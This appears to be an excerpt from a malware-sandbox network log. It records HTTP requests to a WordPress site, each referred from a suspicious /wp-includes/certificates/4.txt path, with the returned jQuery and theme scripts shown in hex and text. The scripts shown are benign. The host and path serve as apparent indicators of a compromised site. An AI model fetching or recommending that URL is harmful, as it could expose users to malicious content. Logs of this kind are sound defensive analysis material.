6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 64 28 62 29 7b 76 61 72 20 63 3d 62 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 2c 64 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 30 2c 66 3d 21 30 2c 67 3d 30 2c 68 3d 30 3b 72 65 74 75 72 6e 20 62 3d 61 2e 65 76 65 6e 74 2e 66 69 78 28 63 29 2c 62 2e 74 79 70 65 3d 22 6d 6f 75 73 65 77 68 65 65 6c 22 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 26 26 28 65 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 2f 31 32 30 29 2c 63 2e 64 65 74 61 69 6c 26 26 28 65 3d 2d 63 2e 64 65 74 61 69 6c 2f 33 29 2c 68 3d 65 2c 63 2e 61 78 69 73 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 63 2e 61 78 69 73 3d 3d 3d 63 2e 48 4f 52 49 5a 4f 4e 54 41 4c 5f 41 58 49 53 26 26 28 68 3d 30 2c 67 3d 2d 31 2a 65 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 68 3d 63 2e 77 68 65 65 6c 44 65 6c 74 61 59 2f 31 32 30 29 2c 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 21 3d 3d 75 6e 64 65 66 69 6e 65 64 26 26 28 67 3d 2d 31 2a 63 2e 77 68 65 65 6c 44 65 6c 74 61 58 2f 31 32 30 29 2c 64 2e 75 6e 73 68 69 66 74 28 62 2c 65 2c 67 2c 68 29 2c 28 61 2e 65 76 65 6e 74 2e 64 69 73 70 61 74 63 68 7c 7c 61 2e 65 76 65 6e 74 2e 68 61 6e 64 6c 65 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 64 29 7d 76 61 72 20 62 3d 5b 22 44 4f 4d 4d 6f 75 73 65 53 63 72 6f 6c 6c 22 2c 22 6d 6f 75 73 65 77 68 65 65 6c 22 5d 3b 69 66 28 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 29 66 6f 72 28 76 61 72 20 63 3d 62 2e 6c 65 6e 67 74 68 3b 63 3b 29 61 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 5b 62 5b 2d 2d 63 5d 5d 3d 61 2e 65 76 65 6e 74 2e 6d 6f 75 73 65 48 6f 6f 6b 73 3b 61 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2e 6d 6f 75 73 65 77 68 65 65 6c 3d 7b 73 65 74 75 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b
                                                                                      Data Ascii: /*! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net) * Licensed under the MIT License (LICENSE.txt). * * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix. * Thanks to: Seamus Leahy for adding deltaX and deltaY * * Version: 3.0.6 * * Requires: 1.2.2+ */(function(a){function d(b){var c=b||window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1*e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch||a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){
                                                                                      Aug 16, 2022 11:39:49.772082090 CEST3507OUTGET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:49.988951921 CEST3747INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:43 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4f8bb-3b2-58592c72eb640"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT
                                                                                      Content-Length: 946
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780917 17189100
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 20 6a 71 75 65 72 79 2e 73 69 6d 70 6c 72 2e 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 76 65 72 73 69 6f 6e 20 31 2e 30 20 63 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 73 69 6d 6f 76 2f 73 69 6d 70 6c 72 2d 73 6d 6f 6f 74 68 73 63 72 6f 6c 6c 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 2a 2f 0a 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0a 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 20 20 20 20 20 20 20 20 24 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 28 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 65 70 3a 31 35 30 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 65 65 64 3a 38 30 30 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 7d 29 3b 0a 0a 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 73 72 53 6d 6f 6f 74 68 73 63 72 6f 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 70 6c 61 74 66 6f 72 6d 20 3d 20 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 70 6c 61 74 66 6f 72 6d 3b 20 69 66 20 28 28 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 49 6e 74 65 6c 27 20 7c 7c 20 70 6c 61 74 66 6f 72 6d 20 3d 3d 3d 20 27 4d 61 63 50 50 43 27 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 3b 20 76 61 72 20 6e 3d 65 2e 65 78 74 65 6e 64 28 7b 73 74 65 70 3a 31 37 30 2c 73 70 65 65 64 3a 31 30 30 30 2c 65 61 73 65 3a 22 73 77 69 6e 67 22 7d 2c 74 7c 7c 7b 7d 29 3b 76 61 72 20 72 3d 65 28 77 69 6e 64 6f 77 29 2c 69 3d 65 28 64 6f 63 75 6d 65 6e 74 29 2c 73 3d 30 2c 6f 3d 6e 2e 73 74 65 70 2c 75 3d 6e 2e 73 70 65 65 64 2c 61 3d 72 2e 68 65 69 67 68 74 28 29 2c 66 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 41 70 70 6c 65 57 65 62 4b 69 74 22 29 21 3d 3d 2d 31 3f 65 28 22 62 6f 64 79 22 29 3a 65 28 22 68 74 6d 6c 22 29 2c 6c 3d 66 61 6c 73 65 3b 65 28 22 62 6f 64 79 22 29 2e 6d 6f 75 73 65 77 68 65 65 6c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 3d 74 72 75 65 3b 69 66 28 74 3c 30 29 73 3d 73 2b 61 3e 3d 69 2e 68 65 69 67 68 74 28 29 3f 73 3a 73 2b 3d 6f 3b 65 6c 73 65 20 73 3d 73 3c 3d 30 3f 30 3a 73 2d 3d 6f 3b 66 2e 73 74 6f 70 28 29 2e 61 6e 69 6d 61 74 65 28 7b 73 63 72 6f 6c 6c 54 6f 70 3a 73 7d 2c 75 2c 6e 2e 65 61 73 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 3d 66 61 6c 73 65 7d 29 3b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 29 3b 72 2e 6f 6e 28 22 72 65 73 69 7a 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 3d 72 2e 68 65 69 67 68 74 28 29 7d 29 2e 6f 6e 28 22 73 63 72 6f 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 6c 29 73 3d 72 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 7d 29 7d 7d 29 28 6a 51 75 65 72 79 29 3b 0a
                                                                                      Data Ascii: /* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */jQuery(document).ready(function($) { if(!device.mobile() && !device.tablet()){ $.srSmoothscroll({ step:150, speed:800 }); }});;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' || platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t||{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);
                                                                                      Aug 16, 2022 11:39:49.992008924 CEST3748OUTGET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:50.208961010 CEST3761INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:47 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a4f8b0-2f7e-58592c72eb640"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:25:37 GMT
                                                                                      Content-Length: 12158
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780919 21654977
                                                                                      Age: 122
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 20 20 20 0a 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 20 3d 20 24 28 27 73 65 63 74 69 6f 6e 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 27 29 3b 0a 20 20 20 20 69 66 28 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 6c 65 6e 67 74 68 20 3e 20 30 29 7b 0a 20 20 20 20 20 20 20 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 50 61 72 61 6c 6c 61 78 42 6f 78 28 29 0a 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 77 69 6e 64 6f 77 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 57 69 64 74 68 20 3d 20 64 6f 63 75 6d 65 6e 74 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 48 65 69 67 68 74 20 3d 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 65 56 65 72 73 69 6f 6e 20 3d 20 67 65 74 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 56 65 72 73 69 6f 6e 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 69 66 28 21 64 65 76 69 63 65 2e 6d 6f 62 69 6c 65 28 29 20 26 26 20 21 64 65 76 69 63 65 2e 74 61 62 6c 65 74 28 29 29 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 69 65 56 65 72 73 69 6f 6e 20 21 3d 2d 31 20 26 26 20 69 65 56 65 72 73 69 6f 6e 20 3c 20 39 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 09 09 7d 65 6c 73 65 7b 0a 09 09 09 6c 69 74 65 4d 6f 64 65 20 3d 20 74 72 75 65 3b 0a 09 09 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 5f 62 6f 78 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 24 28 74 68 69 73 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 70 61 72 61 6c 6c 61 78 42 6f 78 28 6f 62 6a 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 62 6a 5f 62 67 20 3d 20 6f 62 6a 2e 66 69 6e 64 28 27 2e 70 61 72
                                                                                      Data Ascii: jQuery(document).ready(function($){ parallax_box = $('section.parallax-box'); if(parallax_box.length > 0){ ParallaxBox(); } function ParallaxBox() { var windowSelector = $(window), documentSelector = $(document), documentWidth = documentSelector.width(), windowHeight = windowSelector.outerHeight(), liteMode = false, ieVersion = getInternetExplorerVersion(); var ds = document.documentElement; if(!device.mobile() && !device.tablet()){liteMode = false; if (ieVersion !=-1 && ieVersion < 9){ liteMode = true; }}else{liteMode = true;} parallax_box.each(function() { parallaxBox($(this)); }); function parallaxBox(obj){ var obj_bg = obj.find('.par
                                                                                      Aug 16, 2022 11:39:50.211304903 CEST3774OUTGET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:50.428823948 CEST3791INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:36:44 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53a52-14d5-58592d7651a40"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT
                                                                                      Content-Length: 5333
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780921 23601759
                                                                                      Age: 186
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 76 61 72 0a 09 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 20 3d 20 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 0a 09 3b 0a 0a 09 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 72 65 73 69 7a 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 67 6d 61 70 5f 63 6f 6e 74 61 69 6e 65 72 32 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 09 6a 51 75 65 72 79 28 27 2e 63 6f 6e 74 65 6e 74 5f 63 6f 6e 74 61 69 6e 65 72 31 27 29 2e 63 73 73 28 7b 20 27 77 69 64 74 68 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2c 20 27 6c 65 66 74 27 3a 27 35 30 25 27 2c 20 27 6d 61 72 67 69 6e 2d 6c 65 66 74 27 3a 20 77 69 6e 64 6f 77 53 65 6c 65 63 74 6f 72 2e 77 69 64 74 68 28 29 2f 2d 32 20 7d 29 3b 0a 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 22 29 3b 0a 0a 09 6a 51 75 65 72 79 28 27 2e 63 68 65 72 72 79 5f 6d 65 64 69 61 5f 70 61 72 61 6c 6c 61 78 5f 31 27 29 2e 66 61 64 65 54 6f 28 30 2c 20 30 29 3b 0a 09 0a 7d 29 0a 0a 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 0a 09 09 6d 65 6e 75 57 72 61 70 20 3d 20 24 28 27 2e 68 65 61 64 65 72 20 2e 6d 65 6e 75 5f 77 72 61 70 27 29 0a 09 2c 09 6f 66 66 73 65 74 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 6f 66 66 73 65 74 56 61 6c 75 65 41 72 72 61 79 20 3d 20 5b 5d 0a 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 2c 09 63 75 72 72 48 61 73 68 20 3d 20 27 27 0a 09 2c 09 69 73 41 6e 69 6d 20 3d 20 66 61 6c 73 65 0a 09 2c 09 69 73 48 6f 6d 65 50 61 67 65 20 3d 20 24 28 27 62 6f 64 79 27 29 2e 68 61 73 43 6c 61 73 73 28 27 68 6f 6d 65 27 29 3f 20 74 72 75 65 3a 66 61 6c 73 65 0a 09 3b 0a 09 0a 09 2f 2f 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 4d 65 6e 75 20 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 24 28 27 23 74 6f 70 6e 61 76 20 3e 20 6c 69 27 2c 20 6d 65 6e 75 57 72 61 70 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 27 29 29 7b 0a 09 09 09
                                                                                      Data Ascii: jQuery(document).ready(function(){varwindowSelector = jQuery(window);windowSelector.resize(function(){jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });}).trigger("resize");jQuery('.cherry_media_parallax_1').fadeTo(0, 0);})$(function() {varmenuWrap = $('.header .menu_wrap'),offsetArray = [],offsetValueArray = [],_document = $(document),currHash = '',isAnim = false,isHomePage = $('body').hasClass('home')? true:false;//--------------------------- Menu navigation ---------------------------$('#topnav > li', menuWrap).each(function(){if($(this).hasClass('menu-item-type-custom')){
                                                                                      Aug 16, 2022 11:39:50.430991888 CEST3796OUTGET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:50.644913912 CEST3819INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:25 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a53a5c-5e2-58592d7651a40"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT
                                                                                      Content-Length: 1506
                                                                                      Content-Type: application/x-javascript
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 14780923 23796590
                                                                                      Age: 25
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 24 2e 66 6e 2e 73 63 72 6f 6c 6c 53 68 6f 77 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 0a 20 20 20 20 76 61 72 20 67 65 74 4f 70 74 69 6f 6e 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 72 72 65 63 74 69 6f 6e 59 3a 20 31 30 30 0a 20 20 20 20 2c 20 20 20 6f 6e 53 68 6f 77 3a 20 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 0a 20 20 20 20 7d 0a 20 20 20 20 24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 2c 20 6f 29 3b 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 74 6f 70 4f 66 66 73 65 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 77 69 6e 64 6f 77 48 65 69 67 68 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 76 69 73 69 62 6c 65 3d 66 61 6c 73 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 77 69 6e 3d 24 28 77 69 6e 64 6f 77 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2c 5f 64 6f 63 3d 24 28 64 6f 63 75 6d 65 6e 74 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 69 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 74 68 69 73 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 65 5f 73 74 61 74 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2f 2f 65 6e 64 20 69 6e 69 74 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 4f 66 66 73 65 74 20 3d 20 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 61 64 64 45 76 65 6e 74 48 61 6e 64 6c 65 72 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 73 63 72 6f 6c 6c 27 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 6f 70 4f 66 66 73 65 74 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 4c 69 73 74 65 6e 65 72 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 2e 74 72 69 67 67 65 72 28 27 73 63 72 6f 6c 6c 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 72 65 73 69 7a 65 27 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 20 20
                                                                                      Data Ascii: (function($){ $.fn.scrollShowTime=function(o){ var getOption = { correctionY: 100 , onShow: function(){} } $.extend(getOption, o); return this.each(function(){ var _this = $(this) ,topOffset ,windowHeight ,_visible=false ,_win=$(window) ,_doc=$(document) ; init(); function init(){ setTopOffset(); _this.addClass('hide_state'); addEventHandler(); }//end init function setTopOffset(){ topOffset = _this.offset().top; } function addEventHandler(){ $(window).on('scroll',function(){ setTopOffset(); positionListener(); }).trigger('scroll'); $(window).on('resize', function(){
                                                                                      Aug 16, 2022 11:39:50.655045986 CEST3820OUTGET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
